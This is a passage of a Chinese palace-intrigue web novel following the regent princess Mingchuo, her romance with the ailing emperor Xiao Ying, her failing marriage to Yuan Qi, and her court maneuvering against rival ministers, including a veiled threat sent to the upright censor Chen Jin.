是,裴舜英本人自然没有那个魄力与心性,但皇后毕竟是皇后。当年谢太后才十六岁,谢郯亦受桓殷掣肘,但谢氏最终能走到一手遮天的地步,不就是靠着谢拂霜身为皇后的名正言顺吗?桓廊若能将皇后牢牢抓在手心,等陛下驾崩,长公主还拿什么跟他争?
明绰想起阴青蘅方才说的,桓廊离开的时候看起来挺高兴的,便皱了眉头问萧盈:“你答应了?”
“她是宫里位份最高的,眼下又抚养着建安王,”萧盈似是真的很累,又揉了揉眉心,“令君所请合情合理……”
他话没说完,明绰已经毫不掩饰地露出了不悦的神情。萧盈顿了顿,挑眉看着她,带了些调侃似的语气,把话说完:“朕暂时还没想到如何回绝。”
明绰这才脸色稍霁,跟他强调了一遍:“裴舜英不是当皇后的料。”
萧盈一哂,这还用她说?
明绰心里犹豫了一下,不知道是否要把今日发现的事情告诉他。但裴舜英是什么样的人萧盈明显很清楚,没有必要再拿此事出来证明了。萧盈对玉襄的疼爱虽然比不过夭折的玉含,但那也是他的女儿。当时发现玉襄骗他,他也很是痛心。这事儿明绰腾出手就能处理好,何必非要说出来戳萧盈的心。
萧盈不知道她在琢磨些什么,支起手肘撑着自己的太阳穴,盯着她看。
“依你来看,谁能做皇后?”
明绰让他问得一怔。这话问得简直莫名其妙,萧盈后宫里她也就和敬漪澜亲厚,其余几个只在她刚回建康的时候打过照面,平常都不来往,她连名字都叫不上来,让她选什么?
萧盈也知道后宫里没什么人能选,想了想,又道:“或者,你再另选合适的世家女子……”
明绰脸一下就变了:“你还想纳新人?”
萧盈张了张嘴,看着她突然变了脸色,还有点儿没反应过来。
不是在说桓廊的算计吗?朝中姜川、李俦之流,不都是长公主的人?不然也可以去拉拢明哲保身的卢氏、崔氏。总之挑谁都行,要紧的是听话,能帮衬她,就是给她自己日后多一层保障。
可是明绰跟他想的根本就不是一回事儿。不让桓廊如愿,别立这个皇后不就成了?萧盈这么说,她就只觉得心里瞬间泛上来一股莫名其妙的醋劲。
敬漪澜坚韧聪慧,裴舜英美貌倾城……还不够?还要纳?
新皇后说不定立完就得守寡呢,也是够缺德的。她咬住了舌尖才没把这话直接说出口,左忍右忍,还是没好气地甩了脸子:“皇兄不如好好保养身子,说不定还能多活两年!”
她说完了,气冲冲地站起来就要走,反被萧盈一把抓住了手腕。瞧着他没什么精力,手上力气倒是大。明绰用力挣了两下也没挣脱,反而被他一把拉了回来,小腿在床边一撞,失去平衡往下倒。萧盈顺手把人接了个满怀,一时神色十分精彩,也不知道是让她气得,还是觉得好笑,都有点儿咬牙切齿了。
“你想到哪里去了?”
“我想到哪里?”明绰瞪着眼睛反问他,“是你想到哪里去了?”
她停下来,还不等萧盈回应什么,突然又找到一个新的角度来生气——新皇后肯定只能从待字闺中的小姑娘里挑,那谁家高门大户女儿不是及笄了就许了人家的?再挑只能往更小里找了。
一想到这个,明绰那股火气压都压不住,把手挣出来就在萧盈身上打。萧盈可不是袁綦会任她动手,当即左手抓了她右手,右手抓了她左手,逼迫她两手交叉,动弹不得了。
“这又是吃的哪门子醋?”萧盈的眉头拧得都快打成结了。
明绰不肯承认:“我没吃醋!是你不要脸!”
“我怎么就……”
“世家中待嫁的女子哪个不是能做你女儿的年纪!你……你就是不要脸!”明绰挣扎了一下,“放开我!”
萧盈放了,可是明绰刚要从他身上爬起来,腰上便是一紧,他把人紧紧地圈在了怀里,整个人逼近,似是想吻她。明绰下意识地缩了缩脖子,往后一避,萧盈也没有强迫她,两人的鼻尖已经只有毫厘之距,他却没有再靠近。
“溦溦,你好不讲道理。”萧盈半垂了眼,十足委屈的神情。他本就脸上没什么血色,人又瘦,像是玉雕出来的一尊像,一不小心就会砸碎了。明绰看见他这副神色,心里就忍不住发酸。她倒下来的姿势很别扭,腿不着力,她撑着萧盈想借力下去,却被萧盈揽住了一条腿,一下子就摆成了跨坐在他身上的姿势。
明绰因此比他高出来一截,萧盈把额头抵在她颊畔,轻声道:“你可以嫁给别人,却不许我……”
他提起了袁綦,明绰便浑身不自在地想躲,但又没有特别坚定地从他怀里起来。萧盈感觉出来她的犹疑,得寸进尺地逼迫她仰起头,吻她的颈侧。他的唇刚贴上去,就感觉到明绰浑身颤了颤,皮肤上起了一层细密的鸡皮疙瘩。萧盈安抚似的,吻得极尽轻柔,流连到她的锁骨。他不用手,怕激起明绰的抗拒,只轻轻叼住了她的襟口,把她的衣服扯松,露出一片柔润的肌肤。
“皇后只是皇后。”萧盈的每个字都很轻,说话的时候只有鼻尖在她胸口轻轻地蹭。
明绰闭了闭眼,努力克制着剧烈起伏的胸口,可是她控制得了呼吸,控制不了心跳。她的心跳得太快,好像萧盈温热的鼻息沁过她一层皮肉,裹缠住了那颗心,所以才会这样疯狂地挣扎。
“皇后是你的妻子。”
萧盈摇了摇头,他从来没有觉得皇后就是他的妻子。他从小就是这样被教的,皇后只是一个重要的官职,他要考虑的是各派势力之间的平衡,仅此而已。妻子应该是他的爱的人,但天子若被情爱所惑,在谢郯眼里就不是明君所为了。
“我只想你做我的妻子。”
明绰实在不想跟他再继续这种毫无意义的对话,不知道是在提醒他还是在提醒自己:“皇兄,让我回去把这些上书看了……”
萧盈仰起脸,唇就依在明绰的唇畔,却没有吻下去:“就在这儿看。”
含清宫里很昏暗,显然是已经准备着陛下就寝了,非要她“在这儿看”,还得叫人进来重新点上灯。明绰笑了一声,感觉到他一只手缠在她腰上,已经解开了她腰间的系带。
明绰垂了眼睛看他,自己都没怎么相信地说了一句:“那我明日再来。”
萧盈环在她腰上的手松了松,一副任她去留的样子。明绰反而没有动,还是垂着眼睛,视线无处可去,只在他的唇上流连。他看起来还是好苍白,明绰这样想着,手便抬起来托住了他的脸颊。
她发誓,她没想过今夜会突然转到这个情形,只是实在很难说得上意外。现在已经没有任何人、任何事能挡在他们之间了。
可是,她还能拥有他多久?
“我不许你……”明绰轻轻地吻下来,在他唇上一触即走,“立皇后。”
萧盈果然抻直脖子,追逐着要加深这个吻,明绰却往后缩,把自己的话说完:“立谁都不行。”
她才不管萧盈心里是把皇后当妻子还是当臣僚,反正就是不行。她知道萧盈是想在自己死后给她多一些权力的保障,但她不需要。不需要另一个人来分享权力,更不需要另一个人来分享他。
萧盈看着她,明白了什么似的,唇边露出了一个很淡的笑意:“好。”
他话音未落,明绰就主动堵住了他的嘴。萧盈一下子揽住她的腰,把她整个人都抱了起来——作为一个病弱体虚的人,他这份力气真是不同寻常。明绰都还没来得及反应,他已经把阻隔在两人之间的被褥掀到了一边,然后翻了个身,把明绰摁倒在了床上。
倒得太猛,明绰的后脑好像磕到了床头什么东西,没觉得太疼,
就是躺下来,一瞬间有些晕晕乎乎的。一边还没忘记把手抵在萧盈的胸口摸他的心跳,生怕他出事似的。萧盈察觉到了她的动作,又好笑又好气地抓住了她的手拉下来,不让她摸。明绰就顺手缠上去摸他的脉,半点儿没有心思配合他的索吻与爱抚。
“你……”萧盈没辙了,哭笑不得,“我没事。”
明绰数着他的脉搏,只道:“要是这种时候非要去召卞弘……”
她的话没说完,就被萧盈堵住了嘴,显然不太能接受明绰描述的那个场面。明绰感觉到他近乎恼羞成怒的情绪,依在他唇畔笑了出来。越是笑,萧盈就越是恼火,跟她十指相扣,紧紧地摁在床上,不让她有机会数他的脉搏。
“溦溦……”萧盈一遍一遍地唤她,怎么都不够似的。明绰被他缠得自己的心跳先失了控,又听见萧盈依在她耳畔道:“若我能立你为后……”
明绰摇了摇头,不让他说下去。哪怕明知道萧盈只是说说,她也觉得怪怪的,心里不舒服。萧盈终于放开了扣住明绰的手,轻轻地挑开明绰已经散开的衣襟。明绰没再数他的心跳,双手环住了他的脖子。欲潮如火,烧得她口干舌燥。明绰喘了口气,把不可名状的如鲠在喉无声地吞咽。
第176章
“陛下,吸气。”
萧盈依言吸进去一口气,他上衣已脱,卞弘的手指摁在他胸口上,凝神听着萧盈呼吸之间的气息。
病了这么多年,萧盈也早就知道什么样表现才算是“好”,所以努力想把气呼得长一点儿,证明他没事儿。卞弘察觉到他的意图,唇边的胡须微微一颤,似是在暗笑。
“好多了。”他松开手,旁边候着的宫人赶紧给萧盈把衣服穿好,怕他着凉。明绰也等在一边,听见这三个字,整个人就一下子放松了。她自然地上前一步,那宫人赶紧让了个位置,让明绰亲手给萧盈把腰上的系带系好。
卞弘已经退到一边重新开药方,脸上也是难得轻松的表情,高高兴兴地自己跟自己念什么似的:“原先那药可以停了,果然还是不能劳累……”
他费劲巴拉地治了这么多年,都不如陛下好好地休息来得有效。从前是每发病一次就虚一分,从没有见起色,如今歇了几个月不理朝政,竟然破天荒地有了些许好转。
明绰听见了卞弘那话,就抬头朝萧盈使了个眼色,像是无声地说了一句“我说什么来着?”。萧盈便有些心虚似的避开了她的眼睛,任由她再给自己穿外袍。
身体是不是好转了,他自己也是感觉得出来的。所以前几天有点儿跃跃欲试,又想自己理政了,被明绰好一通教训,让他别得意忘形。
今日卞弘也是这么说,萧盈就垂了眉眼,想来是不敢再提了。
卞弘一边开新的药方一边叮嘱:“陛下若是有余力,也可以适当地动弹动弹,不必整日卧床。”
萧盈突然看了明绰一眼:“朕动弹着呢。”
明绰的脸瞬间红透,手上的腰带狠狠一勒,勒得萧盈闷声呛了一下。
卞弘没听出他言外之意,只是点了点头,不放心地叮嘱道:“但要‘适当’……陛下自己觉得气足才行,切不可过……”
明绰把他的襟口理顺,小声道:“听见没有?‘适当’。”
卞弘终于感觉出有些微的异样,抬起头看了看他们。但明绰已经转过身去,他只看见萧盈坐在那里笑。他笑得不怎么明显,可是面上就像冰消雪融一般,满眼都是柔软的暖意。
卞弘难得看见他这样的神色,很欣慰似的:“哎呀,陛下心情好最重要,一乐百病消啊!”
萧盈转过脸来,再没掩住笑意,向卞弘微微点头:“劳太医令费心。”
卞弘诚惶诚恐地跪下去,连呼“不敢”。既没什么事,他便可以告退了。太医署的小吏早就候着,从他手里拿了新的药方就准备着去煎。萧盈便摆了摆手,示意所有人都下去。
明绰已经又坐在了那堆摞起来的公文前。自从那晚宿在了含清宫,萧盈就很黏她,怎么也不许她走。那也就罢了,说好了让她替自己看公文,也缠着不让,群臣谒见更是不许,那架势,好像他的整个世界就剩下了这一殿一室,和她这个人。就算这会儿有人跟他说谁造反了,或者是北边打过来了,他可能都会欣然把皇位交出去,只要能继续不受打搅地跟明绰在一起。
他倒是没有跟明绰说的那样,在那种关口要去召卞弘,但明绰又担心他欢喜得有些失常了——病了这么久的人,到底哪来这么多磨人的精力?明绰要去开朝会,他也不高兴,拖得明绰险些来不及上殿。
最后是隔了好些天,她几乎是连哄带骗的,才总算暂时离了含清宫。
裴舜英已经知道了桓廊的提议,恐怕是桓廊想法子接触过她了。把她给吓得,抱着建安王一直在上阳宫等,明绰一回来她就着急请罪。
明绰让萧盈折腾得腰疼,沉默着没说什么,就听她跪着撇清自己绝对没有觊觎皇后之位的野心。听完了,也不表态,让她回去了。自己下了道令,对栖凤宫严加看管,尤其不允许崇安公主再去看废后。
送走了裴舜英,又见了谢维。原本谢维是不进宫的,怕萧盈忌讳,历来只在公主府。但明绰听见说谢维有事等着见她,就直接把人召进了上阳宫。谢维来了就告诉了明绰一件事,王勤果然答应了袁增说的那门亲事,要把孙女嫁给平阳王的兄长了。
明绰听完便是一哂,看来桓廊的站队在朝中引起了不小的波动,王勤到底是没那么坚定的心性,这就着急了。
只是他没有桓廊那样操控幼主的野心,大概还是觉得平阳王年长,能尽快亲政,还算他是个忠臣。
四大辅臣已有三人选定了立场,就剩陈缙了。
她早已按照萧盈说的,让阴青蘅回去打发了那鱼先生。见过谢维以后,她就也回了一趟公主府,本还忐忑着不知道该如何面对袁綦,但是袁綦没有让她为难。长公主多日不在家,他就也回了袁府,并不在家里。
明绰不知道应该如何解读他这个行为的含义,她从府里出去的时候,只觉得是一次寻常的夫妻吵嘴,她气归气,但没觉得就怎么样了。但此刻,才真有了一种这段婚姻已经名存实亡的感觉。
但说到底,是她不忠在先。明绰没有让人去唤袁綦回
家,也没有在公主府逗留,当夜就回了宫。
满打满算,她离开含清宫也就一天一夜。今天大清早含清宫就来传话,说陛下又召了太医令。明绰心里一紧,着急赶过来才发现没什么事儿,不过是照例问诊,而且结果还好得很。
倒是桌上的公文越摞越多了。
萧盈坐到她身后,把下巴磕在了明绰肩上,越过她,看了一眼她手里拿着的纸。竟不是公文,而是萧盈的诗稿。萧盈立刻“欸”了一声,伸手就要抢。
明绰举在手里,就不让他抢走,转过头冲着他笑:“陛下好雅兴。”
诗其实不长,但是萧盈斟字酌句,涂改得很多,要读顺也得好好地多看几眼。萧盈脸上难得有窘迫的神色,无可奈何地看着她。等她看完了,就赶紧拿回来,直接往炭盆里一丢。
明绰伸手想抢回来,但是已经来不及了,火舌一卷,就把诗稿烧得焦黑蜷曲。萧盈伸手一揽,把人圈在怀里。明绰好笑地看着他,伸手在他鼻子上轻轻地一刮,轻声道:“这么好的诗,烧了岂不可惜?”
这倒不是明绰乱夸,萧盈的诗确实是作得不错的。只是流传出去的很少,明绰还是好多年前在河东的郑府听到杨谦吟过一支短歌行。其中哀婉悲戚之情,奏之催人泪下。但方才那首新诗已不见悲声,多了些许旷达疏狂之气,但又隐隐有些悲凉,好像他知道世间最好的事都留不住,哪怕是在最快乐的时候,也难掩寂寥神伤。
萧盈似是觉得这种太私密的情绪拿来示人多少有些羞耻,把人抱紧,封住了她的唇,不许她再说了。
明绰让他吻得气短,半推半就地把手抵在他胸口,想躲,一面笑道:“好了好了……我不说你!”
她把人挣开一点,萧盈也没完全放手,还是跟刚才一样,把下巴磕在明绰肩头。但明绰一伸出手,偏巧拿到的又是陈缙的上书。萧盈立马“嘶”的一声,头疼似的,不想看。
明绰回头看着他的表情,只觉得好笑:“怎么了?”
萧盈没说话,脸上似笑非笑的神情,那意思是明绰看了就知道。
自从那日在殿上公开当面指责了镇国长公主,陈缙就算是跟她撕破脸了。长公主没堵塞言路,也没把他怎么样,但是陛下摆明了就是要偏袒,公主府把那丹青手赶出来了,就再无下文了。前几日的大朝会,站在殿上的依然是长公主。
识相的,就都看明白局势了。长公主已经不再需要有执金吾卫在殿中杵着才能威慑住群臣,大部分人已经接受了现实,争先恐后地向长公主表忠心。
陈缙恼怒异常,连续几日到含清宫谒见,但陛下就是不见。他的上书就没有断了,而且一封比一封措辞严厉。
前几天萧盈突然又觉得他应该自己理政,多少也有点儿被陈缙骂得没辙了的意思,他英明了二十年,到底还不习惯做这个昏君。
明绰把封套拆开,快速扫了两眼,就冷笑了一声,抬眼看着萧盈:“我念给你听?”
萧盈看着她,脸上是一副“你非得念吗?”的表情。
明绰才不理他,张口就往下念。陈缙现在很有点儿把头别到了裤腰带上的架势,已经不只是骂镇国长公主“佞幸跋扈、目无君上”,转而直指天子之过,说都是萧盈失德,忘了国法,才将长公主纵容得这般无法无天……
萧盈没听她念完,伸手就把上书从她手里拿了回来。明绰就看着他,没有说话。
“不是纵容。”好一会儿,萧盈才说了一句,“本就是朕亏欠你的。”
他没细说这个亏欠是什么意思。可能是说当初硬要带明绰回家,致使她与乌兰晔母子之间彻底失和。还是在说,他的名字和皇位从一开始就是从明绰手里抢的——明绰想到这个,心里突然又泛起一股熟悉的不适。
她怎么会这么想?这是当初母后一直说的话,但当年她是不认同的。她小时候没有觉得萧盈抢的是她的皇位,她生而为女,这皇位就不是她的,说萧盈是抢了燕康王的皇位都更合理一些。
她一直觉得,母后这样说只是为了让自己能够心安理得地去加害一个无辜的孩子。
可是不知道为什么,这念头就突然冒出来了,就像那天在太极殿上,她突然感觉到背后珠帘一响似的。
明绰立刻轻轻咳了一声,别过眼睛,只当没听见这句话似的,又道:“皇兄准备怎么处置御史中丞?”
萧盈闻言就叹了口气,伸出手为难地揉了揉眉心。
“陈缙此人……”萧盈斟酌着,“还是很难得的。”
在陈缙之前,担任御史中丞的是王诃,他就没陈缙这种正气与魄力,所以才有谢郯的一手遮天。
但陈缙敢。当初袁綦的发妻被毒害,袁、桓两家权势滔天,是陈缙站出来重查此案,谁都不怕得罪。后来明绰想对桓氏施压,要让他们同意桓宜华和离,暗中搜集了桓皋不法的证据,也是陈缙站出来,最终逼得桓皋被外调,换了长公主的人出任新廷尉。在所有人都忙着站队、效忠新主的时候,唯有他,不管仕途前程,敢面刺天子之过,只求正本清源,肃正朝纲。
“御史中丞直言劾奏,是一个国家的良心所在。”萧盈摇了摇头,“陈缙不党不群,忠直耿介,他是为君者的一面镜子……溦溦,他动不得。”
明绰长久地看着他,没跟他争辩什么,只是嘴角微微地一扬,眼中难掩轻蔑之色。
陈缙的公正是朝中所有人公认的。这些年,明绰受到的攻讦来自很多人。谢聿、桓廊、袁增,他们都有自己的私心,他们不愿意看到长公主掌权,是因为她多多少少都从他们手中争利。唯独陈缙的攻讦,是完全没有私心的。
他就是觉得,朝纲要正,就容不下一个女人。
多么公正,多么高尚的一个士大夫。
“嗯。”明绰没有跟萧盈多说什么,又从他手中把陈缙的上书拿了回来,然后随手扔进了炭盆里。火舌立刻吞噬掉了陈缙那一笔刚直遒劲的好字,和萧盈涂涂改改的诗稿一起,化作了同一捧灰。
第177章
“仲宁!”
袁綦听见有人呼唤,便转回了头。谢运朝他招了招手,袁綦停在原地没动,谢运便三步跨作两步到了他面前,很亲热地搭住了他的肩膀:“怎么一个人在这儿?”
袁綦还是没说话,一副意兴阑珊的样子。谢运便上下打量了他两眼,识相地把手从他肩膀上拿了下来。见四下无人,又抬起手肘,在他胸口捅了捅,提醒他似的:“高兴点儿,你可是新郎官的顶头上司。”
袁綦就挑了一下眉毛,很敷衍地朝他扯了扯嘴角。
今日是宋询和王氏女的婚宴,两边都着急呢,刚订了亲就要过门,生怕再有变故。丰喜县侯家里上不得台面,婚宴都是在平阳王府办的。朝中显贵云集,皆来道贺,总算是撑起了宋询的颜面,没叫王家太嫌弃。
宋询名义上确实是袁綦手下的文职,但袁綦觉得这跟他没什么关系,新郎官显然是大将军的人。
谢运见他这副神情,“嗐”了一声,很同情似的拍了拍他。
虽说谢维如今在朝中几乎就是追着袁增咬,但这没有影响到他和袁綦的交情。他们多年前在幽州的时候就有同袍之谊,后来打雅隆人的时候更是并肩作战,出生入死。
谢运早就表示过,一码归一码,他并没有要把大将军欠他们父子的账算到袁綦头上的意思,更何况他为长公主效力,自然也不把袁綦当外人。
就是……长公主看起来快要把袁綦当外人了。
自从陛下在三个月前允许长公主代他上朝,她就几乎没有再出过宫了。一开始,所有人都以为,长公主权势滔天,那袁綦作为驸马,必然是说不尽的好处。可是长公主好像也没那意思,在朝上对夫君都是不冷不热的。
很快就有流言传出来了,说当初长公主跟驸马吵架,气得连夜回宫告状,瞧这样子,是夫妻离心了……闲杂人等的舌根嚼起来,倒是把堂堂安西侯当作那弃妇一般的议论。
再往后传就不像话了,说长公主屡屡夜宿含清宫,根本不是侍疾,是侍寝——当然,这种兄妹不伦的传言是不敢明着讲的,都是背地里关上门来传。年纪大些的就要回忆起当年谢太后在温泉宫门口说过的话了,又说其实不是兄妹不伦……但不管怎么样,很多人都得出了一个结论,陛下原来是被美色所惑了。励精图治二十年,到底晚节不保。
于是所有人看袁綦的眼神就更意味深长。
袁綦上一次被这样被人消遣还是楚氏亡故的时候。那时他被控通奸杀妻,名声尽毁。但当时他被陛下惩处,全无官身,很快又被送进了公主府,别人怎么议论他,他其实可以装作不知道。
可是眼下不一样,他是安西侯,是益州的都督。前阵子又是年节里,官场上往来应酬,私底下走亲访友,他是逃也逃不过,避也避不开。
若只是嘲讽与讪笑,袁綦尚可等闲度之,偏偏这讪笑中又有微妙而不可尽言的忮忌。人人笑他有这样的妻子,人人却又恨不得有一个这样的妻子。这些嘴脸让他作呕。
平阳王府办婚宴,他仗着平阳王妃是他亲侄女,不怎么忌讳地进了内院,寻了个僻静的地方躲人。
但谢运也进了后院。袁綦看了看他方才走过来的那条路,就明白了什么。长公主今日一直在敬夫
人屋里作陪。
袁綦淡漠地垂了眼:“你快去吧,别叫她等着。”
谢运一时抓耳挠腮,也不知道还能怎么安慰朋友。
最近他见长公主的次数都要比袁綦多得多。长公主现在越来越像当年的谢太后了——这是他父亲说的,谢运自己倒是没见过那位姑母——但有时候谢运到了长公主面前,他都忍不住地怕她。
设身处地一想,就算撇开那些糟心的传闻,家里娶了这么尊大佛,袁綦也是够受的。
“仲宁,”谢运瞥了瞥四周,压低了声音,又拍了拍袁綦的肩膀,“找个得空的时候,兄弟陪你喝酒……”
袁綦还是浅浅地朝他一笑:“也好,你来送送我。”
“送你?”谢运一怔,“你去哪儿?”
“我已上书,会尽快赴任益州。”
谢运看了他一会儿,眉头紧紧地拧了起来。
含清宫那位还能活多久?很快就会是长公主的天下了,只要袁綦依然是她的丈夫,权倾朝野指日可待,他却要在这个关头抽身而去。在谢运看来,实在不太明智。
袁綦看他这副表情,便用十分调侃的语气道:“想必你是不会随我回益州了?”
谢运没好气地一哂:“你问过桓湛了吗?他肯跟你去?”
袁綦唇边笑意更深,没有回答。桓湛更不可能跟他一起去益州了,他没有谢运“一码归一码”的气度,袁煦负他妹妹实深,终究是毁了他与袁家兄弟二十年的交情——更何况,眼下的局势如此微妙,桓湛手里有兵,是尚书令最大的倚仗。就是他肯,桓廊也绝不会放行的。
谢运还想劝:“仲宁,男儿生于世间,自当建一番功业。风急云涌就在眼前,此时不进反退,来日可就悔之晚矣!”
袁綦完全没往心里听,只道:“既有风急云涌,士甫定能成就伟业。来日封侯拜相,位极人臣,还请对我父网开一面。”
他退了一步,十分郑重地对谢运行了个礼。谢运连忙扶住了他的手肘,口中扬起声调“哎”了一声,却又什么都没说得出来。
封侯拜相,位极人臣八个字,正是谢运心中抱负。那是他还在幽州苦捱、无论如何都得不到重用的时候都不曾掩饰过的宏愿。他虽出身谢氏,却没有沾到半点光,只承受了无穷的冤屈。谢运心里不服,誓要闯出一番天地,让谢氏的荣光从他这里重新谱写……
那时,唯独袁綦没有嘲笑过这份痴心妄想。袁綦是真心地跟他做朋友,正是因为有他对长公主先说起了自己,才有后来长公主的举荐,让他终于有机会建功立业。
袁綦就是这样的人。也正是因为他就是这样的人,谢运才愿意一码归一码,跟做父亲的斗,却跟做儿子的交朋友。
谢运也微微正色,向袁綦还了一礼。再没有多说什么,转过身,沿着方才过来的回廊,快步走开。
明绰倚在窗边,看见了从回廊那头过来的人影,也看见了角落里长久立在树下的人。
尚未开春,院中的树只有光秃秃的枝,也不知道有什么可以看的。但他就是站在那里,动也不动。身上披一件狐裘滚边的黛绿色大氅,织着暗纹,直坠到脚面。从窗口只能看到他一个隐约的侧脸,这么远也看得出,他瘦了。
敬漪澜手里端着热茶过来,送进了她手中。明绰转过脸来,朝她笑了笑。今日是她娶媳,但她不赞同宋询的盘算,很不赏脸,连一件喜气的衣裳也不肯换,还是如常妆扮,也不出去迎客——好在长公主来了,好歹给了她一个接见贵客的由头。
敬漪澜也跟着她的视线往外看了一眼,然后在她对面屈膝坐了下来,连一句婉转迂回也没有,直接问:“你放他去益州吗?”
现在所谓的“上书”,其实就是上给长公主看的。
明绰没有立刻回答,低头吹了吹茶上的浮末,才道:“他要是觉得这样更好,那就让他去吧。”
敬漪澜不置可否的样子,也低头喝茶。明绰抬眼看她,承诺什么似的,笑道:“他不会带询儿走的。”
敬漪澜摆摆手,不在意的表情:“谁说那个了。”
“那你想说什么?”
敬漪澜好像还认真想了想,但最后也只是耸了耸肩:“我也没什么要说的,你自己想得明白就好。”
明绰让她说得哑然失笑,低着头,手指无意识地在杯沿上转了转,只道:“我其实也没什么要想的。”
她之前心里还是有些难过的,总觉得跟袁綦之间只是为了一个门客就闹到这样的地步,是很遗憾的。但是时间长了也就不再去想了,她和袁綦之间又岂只这一件事?很多事情早就注定好了,只是总不肯甘心。离他远了,才觉得遗憾,可真正与他朝夕相处地时候,又总会这样或者那样的事情。有时候是他的错,有时候是她的错,还有的时候甚至说不上来是谁的错,只能叹一句造化弄人。
这段时间,她竟然总想起乌兰徵来。她为了乌兰徵和段知妘之间的事情难受了十几年,没想到此时此刻,才真正感觉到了某种释怀。甚至觉得乌兰徵当年做得还比她强一些,虽说她并不愿意拿萧盈跟她之间的感情去比乌兰徵和段知妘,但至少她做他的妻子那些年,乌兰徵没有让她如袁綦今日一般难堪。
明绰没头没脑地又来了一句:“等我死了,还是要回去跟乌兰徵合葬。”
敬漪澜睁大眼看着她,实在不知道她这句话是打哪儿来的。两人对视了一眼,竟不约而同笑了起来。敬漪澜正要问她怎么突然又想起这个,门口便传来了谢运恭敬叩门的声音:“长公主。”
明绰把茶放好,坐直了身子:“进来吧。”
谢运推开了门,有片刻的犹豫。虽然长公主向来不太计较这种细枝末节,但敬氏毕竟是平阳王的生母,他一时不敢造次。于是敬漪澜也淡淡地开了口:“谢司马不必拘礼。”
谢运这才应了一声“多谢夫人”,进了门,仍是低着头,躬着肩背,一眼不敢乱看。
他既尊敬夫人为主人,敬漪澜就先开口跟他寒暄了一句:“今日倒没有见到你父亲?”
谢运马上搬出准备好的说辞:“夫人见谅,近日天寒,家父旧伤复发,大夫嘱咐了不能吹风,故而不曾亲自登门……”
敬漪澜喝她的茶,神色淡淡的:“我只是问问,你不必紧张。”
谢维没有来是正常的,近日为着青州一桩旧事,他跟袁增算是彻底撕破了脸。当年青州盐帮叛乱,是大将军派人去剿的,陛下的意思是让那些草寇把这些年贪的盐课都吐出来再杀,此事也是大将军经的手。事情都过去好几年了,谢维年底突然上书揭发,说当缴上来的盐课,有三成之数其实是进了大将军的私囊。
祸不单行,军曹尚书也在这个时候参了一本,说大将军滥用职权。军费供给这种事一向是军曹来分配,但多年来都有大将军横插一脚。
长公主已经下了令彻查,暂时还没找到实证来处置大将军。但宋询已是袁增的人,这场婚事也是他主导的,谢维当然不会来了。
而且,谢维知道长公主选择的新君是谁,他也更愿意支持有谢氏血脉的建安王。不只是他,谢运也是这个态度。这平阳王府的喜事,跟他们确实没有关系。
敬漪澜这话,其实不是在好奇谢维怎么没来,是好奇谢运怎么来了。但他依然身居司马之职,名义上还是袁增的副手,这个场面总是要做一做的。谢运有些尴尬地笑了笑,抬眼看了看长公主的脸色。
“是我叫他来的。”明绰把茶杯放下,算是圆了圆场。
她至今都觉得很是没有必要在朝中划定“平阳王党”和“建安王党”。这场夺位之争根本就不是萧秧和萧稷主导的,各个势力都有自己的算盘,这两个孩子都只是棋子。选了同一个人的未必就同心,选了不同人的,也未必就非要置对方于死地。
敬漪澜便转头看她,用眼神问她葫芦里卖的什么药。
“我听说,御史中丞趁着今日平阳王府办喜事,又进宫去了。”明绰的
语气轻描淡写,“真是难为他这样日日苦谏……”
谢运不自觉地缩了缩脖子,又感觉到了那种无法自控的胆寒。但他心知肚明长公主不是冲他,便从这恐惧里品出某种兴奋。他抬起头,像是在夜风里闻见了血腥气的猛兽,跃跃欲试地亮出了獠牙:“长公主是说……?”
“办喜事嘛,人人有份……”明绰从案上取了一盒喜饼,然后毫不犹豫地倒过来,把盒子里的喜饼倒了个干净。敬漪澜和谢运都看着她,只见她起了身,从敬漪澜桌上取来了一支笔,两手用力,“啪”地一声从中折断,扔在了已经空出来的喜饼盒里。
“劳烦士甫走一趟,”明绰把喜饼盒递给了谢运,“让御史中丞也沾沾喜气。”
第178章
那条消息传进进宫的时候,明绰正跟萧盈在宫中的御苑慢悠悠地走。
刚下过一场难得的大雪,地上还很滑,所以两个人把着臂,互相搀着走。这御苑里没人尽心,天一冷,光秃秃的,什么都没有。明绰一边走一边嫌弃,不如她公主府里的红梅好看。
萧盈只是笑,什么都没说。她的公主府本就不输皇宫,从当年建的时候就一直被指摘骄奢过甚。她有陛下的偏爱,骄奢就骄奢了吧。萧盈自己并不贪图这些享受,不会把钱花在这种地方。
明绰看他一眼就知道他在想什么,只道:“不过多种些花树,能骄奢到哪里去?”
萧盈便息事宁人地点头,握了她的手,只道:“你想种什么就种。”
明绰撇了撇嘴:“反正我自己家里有,皇兄既然无所谓,我才不来担这个骂名。”
萧盈看了她一眼,眼神有些无奈,但又觉得好笑。他确实是无所谓的,这么多年他身体一直不好,也很少出来。尤其是这御苑里的柳树飘了絮,呛死过二皇子,他实在不觉得这里有什么好逛的。
但是入冬的时候,萧盈受了冻,不出意外地又染了伤寒。心痛之症虽未复发,但整个人还是太虚了。明绰就想起卞弘说的话,多动动对他身体好,所以等他伤寒一好,就整日拉着他在宫里这样散步——他说的那种“动弹”不算。
明绰怕他又着凉,给他披了一件紫貂裘,把他脖子以下围得密不透风。细软的貂毛拥着他一张脸,衬得他跟冰雪捏出来一般的精致。明绰本来还要给他塞个暖手炉,萧盈又说够了,让她自己煨着。
两人一边走,靴子一边在雪地里踩出“咯吱咯吱”的声音。萧盈本来是让人把雪先扫干净的,但是明绰不要,她就喜欢踩在干干净净的新雪上。走一会儿,她就突然往前快走两步,先踩出几个脚印,然后再回到萧盈身边,始终没有放开他的手,笑得跟孩子似的。
萧盈看着她笑,自己也笑,只是眉宇间难掩一丝怅然。他其实不知道她喜欢雪,从小到大,天冷对他来说是更难捱的,他从来不会出来玩雪,所以明绰也只好一直陪着他闷在含清宫。
“长安的雪大吗?”他突然问。
明绰微微睁大眼睛:“嗯?”然后又笑,“当然了。长安可比建康冷多了。”
建康每年也就那么三五场雪,能像这样积得满目素白的更是难得,其余多是冷雨,湿进了骨头缝里。长安的雪飘起来可没这么客气,经常一夜冰封,数日不化。
明绰似是知道他在想什么,握了他的手,轻声道:“但我在北地的时候没有那么喜欢雪。”
天寒地冻往往意味着行军更难,食物更少。乌兰徵在漠北那两年,每到下雪,她总是牵肠挂肚,想象着那种地方到底会苦寒到何种地步,操心着燕军的损耗补给,根本没有心思赏雪。
萧盈有些失神似的,重复了一遍:“漠北……”
好遥远的地方啊。
